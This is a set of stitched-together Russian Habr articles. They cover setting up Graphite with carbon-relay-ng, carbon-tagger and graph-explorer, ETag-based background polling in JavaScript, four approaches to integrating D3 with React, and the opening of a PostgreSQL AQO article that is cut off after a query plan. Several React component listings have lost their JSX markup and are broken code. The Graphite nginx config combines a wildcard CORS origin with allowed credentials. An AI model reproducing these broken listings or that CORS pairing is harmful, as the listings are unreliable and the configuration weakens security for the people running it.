Актуальное руководство по установке находится [здесь](https://graphite.readthedocs.org/en/latest/install.html). Установку лучше проводить внутри virtual environment, располагающегося в /opt/graphite.
```
sudo apt-get install python-pip python-dev
pip install pip --upgrade
pip install virtualenv
mkdir /opt/graphite
virtualenv /opt/graphite
cd /opt/graphite
source bin/activate
sudo apt-get install libcairo2 python-cairo libffi-dev # установка нужных для graphite пакетов
pip install https://github.com/graphite-project/ceres/tarball/master
pip install whisper
pip install carbon # pip install carbon --install-option="--prefix=/opt/graphite" --install-option="--install-lib=/opt/graphite/lib"
pip install graphite-web # pip install graphite-web --install-option="--prefix=/opt/graphite" --install-option="--install-lib=/opt/graphite/webapp"
# нужно для Graphite WebApp
pip install uwsgi
pip install django
pip install cairocffi
pip install django-tagging
# инициализация webapp
(cd /opt/graphite/webapp/graphite; python manage.py syncdb)
```
После установки, graphite будет располагаться в /opt/graphite. Далее необходимо выполнить его конфигурацию. Пример файлов с настройками находятся в /opt/graphite/conf. Минимум, что необходимо сделать, это создать файл настроек carbon и whisper.
```
cp /opt/graphite/conf/carbon.conf.example /opt/graphite/conf/carbon.conf
# carbon.conf содержит настройки для carbon-cache, carbon-relay и carbon-aggregator.
# Необходимо настроить как минимум следующие значения в секции carbon-cache:
# LINE_RECEIVER_INTERFACE = 127.0.0.1
# LINE_RECEIVER_PORT = 2003
cp /opt/graphite/conf/storage-schemas.conf.example /opt/graphite/storage-schemas.conf
# storage-schemas.conf содержит настройки whisper, который по сути - fixed-size db.
# Аллокация места под метрики происходит 1 раз, поэтому нужно явно задать (по
# ключу метрики), с какой частотой дескритизации и за какой период хранить данные.
...
```
Далее необходимо запустить carbon-cache:
```
carbon-cache.py --conf=conf/carbon.conf start # --debug
tail -f /opt/graphite/storage/log/carbon-cache/carbon-cache-a/*.log
```
И graphite webapp с помощью uwsgi + какой-либо web-сервер (например, nginx):
```
cp /opt/graphite/webapp/graphite/local_settings.py.example /opt/graphite/webapp/graphite/local_settings.py
# в local_settings.py необходимо изменить SECRET_KEY и TIME_ZONE.
/opt/graphite/bin/uwsgi --socket localhost:6001 --master --processes 4 --home /opt/graphite --pythonpath /opt/graphite/webapp/graphite --wsgi-file=/opt/graphite/conf/graphite.wsgi.example --daemonize=/var/log/graphite-uwsgi.log
```
Настройки nginx:
**graphite.conf**
```
upstream graphite_upstream {
server 127.0.0.1:6001;
}
server {
listen 8085;
server_name graphite.local;
location / {
include uwsgi_params;
uwsgi_pass graphite_upstream;
add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'origin, authorization, accept';
add_header 'Access-Control-Allow-Credentials' 'true';
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Host $server_name;
}
}
```
Остается установить только carbon-tagger (именно он заполняет базу индексов для graph-explorer) и настроить дублирующую отправку метрик в carbon-cache и carbon-tagger при помощи carbon-relay. Но к сожалению, carbon-tagger не умеет работать по протоколу pickle, а carbon-relay отдает данные только в таком формате. Поэтому необходимо установить drop-in замену carbon-relay от vimeo — [carbon-relay-ng](https://github.com/graphite-ng/carbon-relay-ng):
```
go get -d github.com/graphite-ng/carbon-relay-ng
go get github.com/jteeuwen/go-bindata/...
cd "/opt/go/src/github.com/graphite-ng/carbon-relay-ng"
make
cp carbon-relay-ng /opt/go/bin/carbon-relay-ng
touch /opt/graphite/conf/carbon-relay-ng.ini
cd /opt/graphite
carbon-relay-ng conf/carbon-relay-ng.ini
```
**carbon-relay-ng.ini**
```
instance = "default"
listen_addr = "127.0.0.1:2013"
admin_addr = "127.0.0.1:2014"
http_addr = "127.0.0.1:8081"
spool_dir = "spool"
log_level = "notice"
bad_metrics_max_age = "24h"
init = [
'addRoute sendAllMatch carbon-default 127.0.0.1:2003 spool=true pickle=false', # отправляем все в carbon-cache
'addRoute sendAllMatch carbon-tagger 127.0.0.1:2023 spool=true pickle=false' # отправляем все в carbon-tagger
]
[instrumentation]
graphite_addr = ""
graphite_interval = 1000
```
#### carbon-tagger
Демон carbon-tagger написан на Go и занимается отправкой индексов метрик в Elastic Search для последующего их использования в graph-explorer. Прежде всего на сервере необходимо установить java и [Elastic Search](https://www.elastic.co/guide/en/elasticsearch/reference/current/setup-repositories.html). Установка carbon-tagger:
```
go get github.com/Vimeo/carbon-tagger
go get github.com/mjibson/party
go build github.com/Vimeo/carbon-tagger
```
**carbon-tagger.conf**
```
[in]
port = 2023 # сюда присылает метрики carbon-relay-ng
[elasticsearch]
host = "esearch.local"
port = 9200
index = "graphite_metrics2"
flush_interval = 2
max_backlog = 10000
max_pending = 5000
[stats]
host = "localhost"
port = 2003 # сюда carbon-tagger будет отправлять собственные внутренние метрики (не метрики приложения)
id = "default"
flush_interval = 10
http_addr = "127.0.0.1:8123"
```
Запуск carbon-tagger:
```
(cd /opt/go/src/github.com/Vimeo/carbon-tagger/; ./recreate_index.sh) # инициализация индексов в ES
carbon-tagger -config="/opt/graphite/conf/carbon-tagger.conf" -verbose=true
```
#### graph-explorer
И наконец, установка гвоздя программы:
```
pip install graph-explorer
```
**graph-explorer.conf**
```
[graph_explorer]
listen_host = 127.0.0.1 # локальный адрес, чтобы добавить HTTP Basic Auth через nginx
listen_port = 8080
filename_metrics = metrics.json
log_file = /var/log/graph-explorer/graph-explorer.log
[graphite]
url_server = http://localhost
url_client = http://graphite.local:8085 # адрес graphite webapp
```
**nginx/graph-explorer.conf**
```
server {
listen 80;
server_name metrics.yourproject.net;
location / {
auth_basic "Who are you?";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://localhost:8080;
}
}
```
Запуск graph-explorer:
```
mkdir /var/log/graph-explorer
run_graph_explorer.py /opt/graphite/conf/graph_explorer.conf
```
После этого веб-интерфейс graph-explorer будет доступен по адресу *metrics.yourproject.net*.
Вместо заключения
-----------------
Хватит ~~жить~~ разрабатывать с закрытыми глазами, %habrauser%! Разворачивайте системы сбора метрик и делитесь занимательными графиками из ваших проектов! Спасибо за внимание! | https://habr.com/ru/post/260753/ | null | ru | null |
# Обновление информации в фоне
Всем добрый день.
Недавно я задумался надо вопросом фонового обновления информации и мне пришла в голову одна идея.
Суть задачи — мы находимся на странице списка новостей. Необходимо обновлять список по мере поступления новых новостей. Серверный язык PHP
Рассмотрим классический вариант через постоянные запросы аяксом:
1) Клиент посылает аякс запрос на сервер, например по адресу — /ajax/get\_upades&time=xxxxxx
2) PHP смотрит есть ли в базе данных записи, новее чем time
3) Если есть выбирает их и возвращает
4) Если нет ничего не возвращает
В этом случае мы вынуждены постоянно дергать PHP и БД для ответа на вопрос, есть ли новые данные?
Мне очень не понравилась эта идея.
Варианты с long polling мне тоже не понравились в связи с различными трудностями реализации и удержанием большого к-ва открытых соединений
Тогда я решил почему бы не переложить задачу по определению наличия новых данных на сам сервер, полностью минуя PHP
###### Суть идеи заключается в следующем
Клиент постоянно пингует пустой файл-маркер. Назовем его /ping/new\_news
Сервер при отдаче файла посылает заголовок — ETag вида «10aa0f-7-4b877e2d4941c». Это один из заголовков принимающих участие в механизме кеширования. ETag рассчитывается на основании информации inode, size и mtime файла. Т.е. при изменение mtime (времени изменения файла) сервер будет посылать другой ETag.
Все что нам нужно это при вставке новой новости обновить mtime файла например ф-цией touch(), а лучше создать триггер в базе на вставку записи и менять файл
Далее мы пишем небольшой класс. Назовем его Updater
```
var Updater = function(){
this.params = {
period: 3000,
url: '',
onModified: function(data,x,modified){},
bgPause: false
};
this.interval = null;
this.ETag = '';
this.lastModified = '';
this.init = function(params){
var me = this;
this.params = $.extend(this.params, params);
if(this.params.bgPause){
$(window).blur(function(){ me.pause() });
$(window).focus(function(){ me.resume() });
}
};
this.start = function(){
var me = this;
this.interval = setInterval(function(){ me.doUpdate() }, this.params.period);
};
this.doUpdate = function(){
var me = this;
$.ajax(this.params.url, {
success: function(data,status,x){
if(me.ETag != x.getResponseHeader('ETag')){
me.params.onModified(data,x,me.lastModified);
me.lastModified = x.getResponseHeader('Last-Modified');
}
me.ETag = x.getResponseHeader('ETag');
},
beforeSend: function(x){
if(me.ETag != '') { x.setRequestHeader('If-None-Match', me.ETag); }
},
cache: false
});
};
this.pause = function(){
clearInterval(this.interval);
this.interval = null;
};
this.resume = function(){
if(this.interval != null) return;
this.start();
};
};
```
Скрипт посылает в цикле запросы на указанный урл, при обнаружении изменения Etag вызывается onModified задача которого уже послать запрос на получения самих данных.
Иногда Apache после измения пингуемого файла, продолжает некоторое время отдавать старый Last-Modified и ETag. Добавление параметра cache false у аякс запроса вылечивает эту ситуацию
Для уменьшения к-ва запросов мы перестаем пинговать сервер, когда пользователь не видит нашу страницу
```
if(this.params.bgPause){
$(window).blur(function(){ me.pause() });
$(window).focus(function(){ me.resume() });
}
```
Вот такая вот идея пришла в голову. Выслушаю Вашу критику, идеи, предложения. Всем спасибо
UPD. Добавлен параметр beforeSend в аякс запрос | https://habr.com/ru/post/137863/ | null | ru | null |
# Как подружить React и D3
D3 одна из наиболее популярных javascript-библиотек для создания динамических и интерактивных визуализаций данных. Сегодня ее используют [сотни тысяч сайтов и web-приложений](https://www.wappalyzer.com/technologies/d3).
В интернете огромное количество [примеров](http://bl.ocks.org/) – от банальных линейных графиков до динамически обновляющихся диаграмм Вороного – созданных с помощью этой библиотеки. Кажется, что можно найти готовый код для любой самой причудливой визуализации и лишь немного модифицировать его «под себя».
Однако, интеграция D3 в web-приложение, построенное на React, на практике оказывается не самой простой задачей.
Проблема в том, что D3 и React оба хотят контролировать DOM. Значит ли, что совместное использование этих библиотек невозможно? Разумеется, нет.
В данной статье на примере создания гистограммы я предлагаю рассмотреть 4 различных подхода к решению данной проблемы, а также обсудить их плюсы и минусы.
Ниже представлен код создания гистограммы на чистом D3, который мы хотим превратить в полноценный компонент React.
**Код гистограммы**
```
import * as d3 from "d3";
const animDuration = 600;
class BarChartVanilla {
constructor(selector, size) {
this.size = size;
this.conatiner = d3.select(selector)
.append("svg")
.attr("width", size.width)
.attr("height", size.height);
this.scaleColor = d3.scaleSequential(d3.interpolateViridis);
this.scaleHeight = d3.scaleLinear().range([0, size.height - 20]);
this.scaleWidth = d3.scaleBand().range([0, size.width]).padding(0.1);
}
draw(data) {
this.scaleColor.domain([0, data.length]);
this.scaleWidth.domain(data.map((d) => (d.item)));
this.scaleHeight.domain(d3.extent(data, (d) => (d.count)));
const bars = this.conatiner
.selectAll(".bar")
.data(data, function key(d) { return d.item });
bars.exit()
.transition().duration(animDuration)
.attr("y", this.size.height)
.attr("height", 0)
.style("fill-opacity", 0)
.remove();
bars.enter()
.append("rect")
.attr("class", "bar")
.attr("y", this.size.height)
.attr("x", this.size.width )
.attr("rx", 5 ).attr("ry", 5 )
.merge(bars)
.transition().duration(animDuration)
.attr("y", (d) => ( this.scaleHeight(d.count) ))
.attr("height", (d) => (this.size.height - this.scaleHeight(d.count)) )
.attr("x", (d, i) => ( this.scaleWidth(d.item) ) )
.attr("width", this.scaleWidth.bandwidth() )
.style("fill", (d, i) => ( this.scaleColor(i) ));
}
}
export default BarChartVanilla;
```
### Подход #1. React для структуры, D3 для визуализации
В данном случае React используется только для рендеринга html-контейнера (чаще всего ) визуализации. Все фактические манипуляции с данными и их представлением внутри созданного контейнера остаются за D3.
**Код компонента**
```
import React from "react";
import PropTypes from "prop-types";
import * as d3 from "d3";
class BarChartV1 extends React.Component {
scaleColor = d3.scaleSequential(d3.interpolateViridis);
scaleHeight = d3.scaleLinear();
scaleWidth = d3.scaleBand().padding(0.1);
componentDidMount() {
this.updateChart();
}
componentDidUpdate() {
this.updateChart();
}
updateChart() {
this.updateScales();
const { data, width, height, animDuration } = this.props;
const bars = d3.select(this.viz)
.selectAll(".bar")
.data(data, function key(d) { return d.item });
bars.exit()
.transition().duration(animDuration)
.attr("y", height)
.attr("height", 0)
.style("fill-opacity", 0)
.remove();
bars.enter()
.append("rect")
.attr("class", "bar")
.attr("y", height)
.attr("rx", 5 ).attr("ry", 5 )
.merge(bars)
.transition().duration(animDuration)
.attr("y", (d) => ( this.scaleHeight(d.count) ))
.attr("height", (d) => (height - this.scaleHeight(d.count)) )
.attr("x", (d) => ( this.scaleWidth(d.item) ) )
.attr("width", this.scaleWidth.bandwidth() )
.style("fill", (d) => ( this.scaleColor(d.item) ));
}
updateScales() {
const { data, width, height } = this.props;
this.scaleColor.domain([0, data.length]);
this.scaleWidth
.domain(data.map((d) => (d.item)))
.range([0, width]);
this.scaleHeight
.domain(d3.extent(data, (d) => (d.count)))
.range([height - 20, 0]);
}
render() {
const { width, height } = this.props;
return (
(this.viz = viz) }
width={width} height={height} >
);
}
}
BarChartV1.defaultProps = {
animDuration: 600
};
BarChartV1.propTypes = {
data: PropTypes.array.isRequired,
width: PropTypes.number.isRequired,
height: PropTypes.number.isRequired,
animDuration: PropTypes.number
};
export default BarChartV1;
```
**Плюсы**
* Позволяет использовать все возможности D3.js в рамках выделенной части DOM.
* Не требуется дополнительных усилий для интеграции ранее созданных на D3 компонентов.
**Минусы**
* He использует возможностей React по оптимизации обновления.
* Затрудняет тестирование и поддержку кода компонента.
### Подход #2. React для манипулирования DOM, D3 для вычислений
D3.js включает в себя несколько десятков различных модулей, лишь немногие из которых непосредственно связаны с DOM. Многочисленные хелперы для предварительной подготовки данных, работы с цветами и географическими объектами, реализованные алгоритмы для расчета кривых, построения графов и интерполяции данных могут заметно облегчить жизнь разработчику, даже в случае когда рендеринг и обновление всех svg-элементов реализуется в рамках жизненного цикла компонента React.
**Код компонента**
```
import React from "react";
import PropTypes from "prop-types";
import * as d3 from "d3";
class BarChartV2 extends React.Component {
scaleColor = d3.scaleSequential(d3.interpolateViridis);
scaleHeight = d3.scaleLinear();
scaleWidth = d3.scaleBand().padding(0.1);
render() {
this.updateScales();
const { width, height, data } = this.props;
const bars = data.map((d) => (
));
return (
{ bars }
);
}
updateScales() {
const { data, width, height } = this.props;
this.scaleColor.domain([0, data.length]);
this.scaleWidth
.domain(data.map((d) => (d.item)))
.range([0, width]);
this.scaleHeight
.domain(d3.extent(data, (d) => (d.count)))
.range([height - 20, 0]);
}
}
BarChartV2.defaultProps = {
animDuration: 600
};
BarChartV2.propTypes = {
data: PropTypes.array.isRequired,
width: PropTypes.number.isRequired,
height: PropTypes.number.isRequired,
animDuration: PropTypes.number
};
export default BarChartV2;
```
**Плюсы**
* Оптимизация производительности при работе с DOM, полностью контролируемой React
* Понятная структура и логика работы компонента даже для разработчиков, не знакомых с D3.js
**Минусы**
* Ограниченное использование возможностей D3.js
* Требуются дополнительные усилия для портирования кода, написанного на чистом D3.js
* Результирующий код сильно привязан к структуре компонента React и его жизненному циклу. Созданную таким образом визуализацию будет сложно переиспользовать в проектах, созданных с использованием других фреймворков или библиотек (Angualar, VueJS)
### Подход #3. React для создания/удаления элементов визуализации, D3 для обновления
В этом случае контроль над всей внутренней структурой узла DOM остается за React. D3.js лишь модифицирует атрибуты, уже созданных элементов.
**Код компонента**
```
import React from "react";
import PropTypes from "prop-types";
import * as d3 from "d3";
class BarChartV3 extends React.Component {
scaleColor = d3.scaleSequential(d3.interpolateViridis);
scaleHeight = d3.scaleLinear();
scaleWidth = d3.scaleBand().padding(0.1);
componentDidMount() {
this.updateChart();
}
componentDidUpdate() {
this.updateChart();
}
updateChart() {
this.updateScales();
const { data, height, animDuration } = this.props;
const bars = d3.select(this.viz)
.selectAll(".bar")
.data(data, function(d) { return d ? d.item : d3.select(this).attr("item"); });
bars
.transition().duration(animDuration)
.attr("y", (d) => ( this.scaleHeight(d.count) ))
.attr("height", (d) => (height - this.scaleHeight(d.count)) )
.attr("x", (d) => ( this.scaleWidth(d.item) ) )
.attr("width", this.scaleWidth.bandwidth() )
.style("fill", (d) => ( this.scaleColor(d.item) ));
}
updateScales() {
const { data, width, height } = this.props;
this.scaleColor.domain([0, data.length]);
this.scaleWidth
.domain(data.map((d) => (d.item)))
.range([0, width]);
this.scaleHeight
.domain(d3.extent(data, (d) => (d.count)))
.range([height - 20, 0]);
}
render() {
const { width, height, data } = this.props;
const bars = data.map((d) => (
));
return (
(this.viz = viz) }
width={width} height={height} >
{ bars }
);
}
}
BarChartV3.defaultProps = {
animDuration: 600
};
BarChartV3.propTypes = {
data: PropTypes.array.isRequired,
width: PropTypes.number.isRequired,
height: PropTypes.number.isRequired,
animDuration: PropTypes.number
};
export default BarChartV3;
```
**Плюсы**
* Более широкое использование возможностей D3, включая анимированные переходы между различными состояниями объектов
* Улучшенная производительность за счет использования React для манипулирования структурой визуализации (добавлением/удалением ее элементов)
**Минусы**
* Нельзя использовать d3 транзакции для удаляемых элементов
* Данное решение также достаточно сильно привязано к структуре React компонента (пусть и в меньшей степени, чем вариант 2)
### Подход #4. Использовать фейковый DOM для D3
Данный подход предполагает создание объекта, похожего на DOM, который будет использован для работы с D3. Это позволит с одной стороны использовать все API D3.js, а с другой – отдать React полный контроль над реальным DOM.
Оливер Колдвел (Oliver Caldwell), предложивший данную [идею](https://oli.me.uk/2015/09/09/d3-within-react-the-right-way/), создал [react-faux-dom](https://github.com/Olical/react-faux-dom), который автоматически сохраняет созданные/измененные D3 элементы в state компонента. А затем уже React определяет нужно ли обновлять и в каком объеме настоящий DOM.
**Код компонента**
```
import React from "react";
import PropTypes from "prop-types";
import * as d3 from "d3";
import { withFauxDOM } from 'react-faux-dom'
class BarChartV4 extends React.Component {
scaleColor = d3.scaleSequential(d3.interpolateViridis);
scaleHeight = d3.scaleLinear();
scaleWidth = d3.scaleBand().padding(0.1);
componentDidMount() {
this.updateChart();
}
componentDidUpdate (prevProps, prevState) {
if (this.props.data !== prevProps.data) {
this.updateChart();
}
}
updateChart() {
this.updateScales();
const { data, width, height, animDuration } = this.props;
const faux = this.props.connectFauxDOM("g", "chart");
const bars = d3.select(faux)
.selectAll(".bar")
.data(data, function key(d) { return d.item });
bars.exit()
.transition().duration(animDuration)
.attr("y", height)
.attr("height", 0)
.style("fill-opacity", 0)
.remove();
bars.enter()
.append("rect")
.attr("class", "bar")
.attr("y", height)
.attr("x", width )
.attr("width", 0)
.attr("height", 0)
.attr("rx", 5 ).attr("ry", 5 )
.merge(bars)
.transition().duration(animDuration)
.attr("y", (d) => ( this.scaleHeight(d.count) ))
.attr("height", (d) => (height - this.scaleHeight(d.count)) )
.attr("x", (d, i) => ( this.scaleWidth(d.item) ) )
.attr("width", this.scaleWidth.bandwidth() )
.style("fill", (d, i) => ( this.scaleColor(i) ));
this.props.animateFauxDOM(800);
}
updateScales() {
const { data, width, height } = this.props;
this.scaleColor.domain([0, data.length]);
this.scaleWidth
.domain(data.map((d) => (d.item)))
.range([0, width]);
this.scaleHeight
.domain(d3.extent(data, (d) => (d.count)))
.range([height - 20, 0]);
}
render() {
const { width, height } = this.props;
return (
{ this.props.chart }
);
}
}
BarChartV4.defaultProps = {
animDuration: 600
};
BarChartV4.propTypes = {
data: PropTypes.array.isRequired,
width: PropTypes.number.isRequired,
height: PropTypes.number.isRequired,
animDuration: PropTypes.number
};
export default withFauxDOM(BarChartV4);
```
**Плюсы**
* D3-составляющая компонента будет аналогична версии, написанной на чистом D3. A значит, можно легко интегрировать код из обширной базы примеров и нет привязки к конкретному фреймворку.
* Поддерживается все API D3, включая анимацию и обработку событий.
* Задействуются все стандартные методы и встроенные оптимизации React для ускорения отрисовки компонента.
**Минусы**
* Необходимость использования еще одной сторонней библиотеки или написания своей имплементации fake DOM объекта.
### Заключение
Разумеется, если ваше приложение не выходит за рамки построения стандартных гистограмм, линейных графиков или круговых диаграмм, то лучше воспользоваться одной из множества библиотек для построения графиков, изначально созданных под React.
Однако, D3 может оказаться незаменимым помощником при создании сложных дашбордов, инфографик и интерактивных историй. Поэтому стоит внимательно взвесить все «за» и «против» при выборе того или иного подхода. Замечу, что реальных проектах чаще всего используются два последних подхода.
Стоит также обратить внимание на такие библиотеки как [Semiotic.js](https://github.com/emeeks/semiotic/) и [Recharts](http://recharts.org/), построенные на основе D3 и React. | https://habr.com/ru/post/354806/ | null | ru | null |
# AQO — адаптивная оптимизация запросов в PostgreSQL
При выполнении запросов современные СУБД используют стоимостную модель оптимизации — на основе сохраненных в конфигурационных файлах коэффициентов и собранной статистики высчитывают “цену” получения и объем результирующих наборов строк. При повторном выполнении запросов стоимость и селективность высчитываются заново. Можно выполнить запрос и посмотреть реальные значения этих параметров, однако, в процессе (стандартного) повторного планирования оптимизатор СУБД эту информацию никак не использует.
А что, если бы оптимизатор сохранял реальные значения стоимости, селективности и другие необходимые параметры выполнения запроса и, при повторном его выполнении ориентировался не только на стандартную собранную статистику, но и на сохраненную после предыдущего выполнения?
Это называется адаптивная оптимизация запросов, и данный способ оптимизации является перспективным. В некоторых СУБД такие технологии уже используются.
Компания [Postgres Professional](https://postgrespro.ru/) уже несколько лет работает над расширением AQO для PostgreSQL, которое реализует (в некотором виде) адаптивную оптимизацию. Работы еще ведутся, но уже есть что потестировать.
Сначала — подробнее рассмотрим предметную область оптимизации запросов.
Почему планировщик может выбирать неоптимальный план
----------------------------------------------------
SQL-запрос можно выполнить по-разному. Например, когда происходит соединение двух таблиц, это можно сделать несколькими разными способами — с помощью вложенных циклов, слиянием, хешированием. Чем больше таблиц участвует в запросе — тем больше вариаций их соединений. Задача планировщика — выбрать план выполнения запроса с минимальной стоимостью из множества вариаций.
Как уже было сказано, при своей работе планировщики многих СУБД используют статистическую информацию, собираемую либо автоматически, либо вручную. Планировщик высчитывает ориентировочную стоимость на основе этой статистики.
В целом, планировщики современных СУБД в большинстве ситуаций работают хорошо. Однако, в некоторых случаях выбранный план может быть очень далёк от оптимальных.
Например, **отсутствие актуальной статистической информации** приводит к тому, что планировщик ориентируется при своей работе на (скорее всего) неверные данные о количестве строк в соединяемых таблицах. Излишнее занижение (или завышение) кардинальности приводит к выбору неоптимальных методов доступа к данным в таблицах.
Еще одной важной причиной может быть **отсутствие необходимых индексов**. При отсутствии индексов у планировщика ограниченный выбор способов доступа к данным.
**Использование зависимых (коррелированных) условий** тоже может негативно повлиять на работу СУБД. Планировщик (по умолчанию) считает, что все условия в запросе независимы друг от друга, то есть значение одного условия никак не влияет на другое. Это выполняется не всегда. Если используются зависимые условия (например, почтовый индекс и город), планировщик тоже будет высчитывать неправильную стоимость и кардинальность соединений.
На планировщик может влиять и **использование функций в условиях**. Функция для планировщика — это “черный ящик”, он не знает, сколько строк вернет функция, что также может приводить к ошибочной стоимости плана.
Способы влияния на работу планировщика
--------------------------------------
> Актуальная статистика — непременное условие адекватной работы планировщика. Прежде всего убедитесь, что в системе настроен регулярный сбор статистической информации.
Есть несколько способов исправить вышеописанные ситуации и помочь планировщику выбирать более оптимальные планы выполнения запросов.
Без индексов у планировщика только один путь получить данные — последовательное сканирование таблицы (и это не всегда плохо и затратно). В некоторых случаях **создание необходимых индексов** помогает ускорить доступ к данным — не нужно сканировать всю таблицу. Но использование индексов (поиск необходимых, создание, поддержание в работе) — удовольствие не бесплатное. В идеале, их нужно использовать именно там, где нужно. А где не нужно — не использовать.
При использовании коррелированных условий соединений в запросах, можно **сформировать [расширенную статистику](https://postgrespro.ru/docs/postgresql/12/planner-stats#PLANNER-STATS-EXTENDED)** — явно “подсказать” оптимизатору, что условия связаны друг с другом. Для этого администратору базы данных (или разработчику) нужно хорошо знать свои данные и отслеживать зависимые условия в запросах, так как количество комбинаций зависимых столбцов заранее предугадать сложно. Расширенную статистику придется создавать вручную под каждый такой вариант.
При создании функции можно **указать примерную стоимость выполнения** и/или оценку количества строк, выдаваемого функцией. В 12 версии [появилась](https://postgrespro.ru/docs/postgresql/12/xfunc-optimization) возможность использовать вспомогательные функции для улучшения оценок планировщика в зависимости от аргументов. Это тоже ручной способ, который не всегда дает оптимальный результат.
Если ничего не помогает, можно **вручную переписать запрос**, например, используя материализованные представления, общие табличные выражения (Common Table Expressions, CTE). Либо **уточнить требования предметной области** и, возможно, кардинальным образом переписать логику запроса.
И есть еще один способ “подсказок” планировщику — адаптивная оптимизация запросов (**a**daptive **q**uery **o**ptimization). Идея этого метода в том, что после выполнения запроса реальная статистическая информация сохраняется и, при повторном выполнении данного (или подобного) запроса, оптимизатор может на нее опираться.
В СУБД [Postgres Pro Enterprise](https://postgrespro.ru/products/postgrespro/enterprise) есть расширение для адаптивной оптимизации запросов под названием [AQO](https://postgrespro.ru/docs/enterprise/12/aqo). Это расширение выложено на гитхабе: [github.com/postgrespro/aqo](https://github.com/postgrespro/aqo), его можно попробовать и с ванильным PostgreSQL, об этом ниже.
Принцип работы модуля
---------------------
Модуль AQO использует в работе машинное обучение. Более подробно про принцип работы можно прочитать в статье Олега Иванова [Применение машинного обучения для увеличения производительности PostgreSQL](https://habr.com/ru/company/postgrespro/blog/273199/) и еще более подробно в презентации [Адаптивная оптимизация запросов](https://postgrespro.ru/media/2016/11/25/olegivanov.pdf) (доклад на [YouTube](https://www.youtube.com/watch?v=hOjaIO5qi3E)).
Ниже кратко описана суть данного метода:
Для оценки стоимости планировщику нужна оценка кардинальности, а для нее, в свою очередь, нужна оценка селективности условий.
Для простых условий (таких, как «атрибут = константа» или «атрибут > константа») у планировщика есть модель, по которой он оценивает селективность. Для этого он пользуется статистической информацией: количеством уникальных значений атрибута, гистограммами и т.п.
Для условий, которые составлены из простых элементов с помощью логических связок, планировщик применяет легко вычисляемые формулы:
* sel(not A) = 1 − sel(A)
* sel(A and B) = sel(A) \* sel(B)
* sel(A or B) = sel( not(not A and not B) ) = 1 − (1 − sel(A)) \* (1 − sel(B))
Эти формулы предполагают независимость (некоррелированность) условий A и B, из-за чего получаем неверные оценки в случае, когда это предположение нарушается.
AQO усложняет формулу: вводит для каждого простого условия свой собственный коэффициент. С помощью машинного обучения (используется регрессия методом ближайших соседей) AQO подбирает эти коэффициенты так, чтобы селективность, вычисленная по формуле, наилучшим образом соответствовала реальной селективности, которую AQO наблюдал ранее.
Для этого модулем сохраняется:
* селективность простых условий, вычисленная штатным планировщиком;
* реальная селективность условия по результатам выполнения запроса.
При своей работе AQO различает условия с точностью до констант. Это позволяет уменьшить сложность решаемой задачи, а кроме того — в большинстве случаев — информация все равно не теряется: AQO не «видит» значение константы, но зато «видит» селективность условия.
Ситуация, при которой потеря все-таки происходит, это условия, которые оцениваются константой вне зависимости от конкретных значений. Например, для некоторых условий планировщик не может сделать никаких разумных оценок и выбирает константу по умолчанию (например, селективность условия «выражение1 = выражение2» всегда оценивается как 0.005, а «выражение1 > выражение2» — как 1/3).
Таким образом AQO позволяет улучшить оценку селективности сложных условий (и, как следствие, оценку стоимости, что может приводить к выбору более адекватного плана выполнения).
Установка модуля
----------------
Чтобы попробовать функциональность модуля на ванильном PostgreSQL, необходимо использовать специальный патч, а затем собрать систему из исходного кода. Подробнее описано в файле [README](https://github.com/postgrespro/aqo/blob/master/README.md) на github.
Если же используется Postgres Pro Enterprise, установка модуля AQO будет проходить в стандартном режиме:
`shared_preload_libraries = 'aqo'`
После этого можно создавать расширение в необходимой базе данных.
Подготовка базы данных
----------------------
Рассмотрим конкретный пример работы модуля AQO в [демонстрационной базе данных](https://postgrespro.ru/education/demodb). Будем использовать базу большого размера, содержащую информацию о перелетах за год, с сентября 2016 по сентябрь 2017 года.
Сначала создадим расширение:
```
CREATE EXTENSION aqo;
```
Далее отключим параллельную обработку запросов — чтобы отображение параллельных планов не отвлекало от основной задачи:
`max_parallel_workers_per_gather = 0;`
Для того чтобы у планировщика PostgreSQL было больше вариантов соединения таблиц, создадим два индекса:
```
CREATE INDEX ON flights (scheduled_departure );
CREATE INDEX ON ticket_flights (fare_conditions );
```
При анализе результатов упор будем делать на значение BUFFERS как числа страниц, которое требуется прочитать для выполнения работы. На время выполнения тоже посмотрим (но время на нагруженной системе и на домашнем ноутбуке может сильно отличаться).
Увеличим буферный кеш и work\_mem — чтобы вся работа осуществлялась в оперативной памяти:
`shared_buffers = '256MB';
work_mem = '256MB';`
Использование модуля AQO
------------------------
Сформируем запрос: требуется получить пассажиров, которые летали бизнес-классом начиная с некоторой даты, причем прибыли с опозданием не более часа.
Выполним запрос без использования AQO (здесь и далее часть информации, не влияющая на понимание работы модуля, из планов удалена):
```
EXPLAIN (ANALYZE, BUFFERS, TIMING OFF) SELECT t.ticket_no
FROM flights f
JOIN ticket_flights tf ON f.flight_id = tf.flight_id
JOIN tickets t ON tf.ticket_no = t.ticket_no
WHERE f.scheduled_departure > '2017-08-01'::timestamptz
AND f.actual_arrival < f.scheduled_arrival + interval '1 hour'
AND tf.fare_conditions = 'Business';
```
И посмотрим получившийся план:
`**Nested Loop** (rows=33210) (actual rows=**31677**)
Buffers: shared **hit=116830 read=1**
-> Hash Join (rows=**33210**) (actual rows=**31677**)
Hash Cond: (tf.flight_id = f.flight_id)
-> Index Scan ... on ticket_flights tf
Index Cond: fare_conditions = 'Business'
-> Hash
-> Bitmap Heap Scan on flights f (rows=**8331**) (actual rows=**7673**)
Recheck Cond: scheduled_departure > '2017-08-01'
Filter: actual_arrival < scheduled_arrival + '01:00:00'::interval
-> Bitmap Index Scan on ... [flights]
Index Cond: scheduled_departure > '2017-08-01'
Buffers: shared hit=44 read=1
-> *Index Only Scan ... on tickets t* (rows=1 width=14) (actual rows=1 loops=**31677**)
Index Cond: (ticket_no = tf.ticket_no)
Buffers: shared hit=**106205**
Planning Time: 9.326 ms
Execution Time: 675.836 ms`
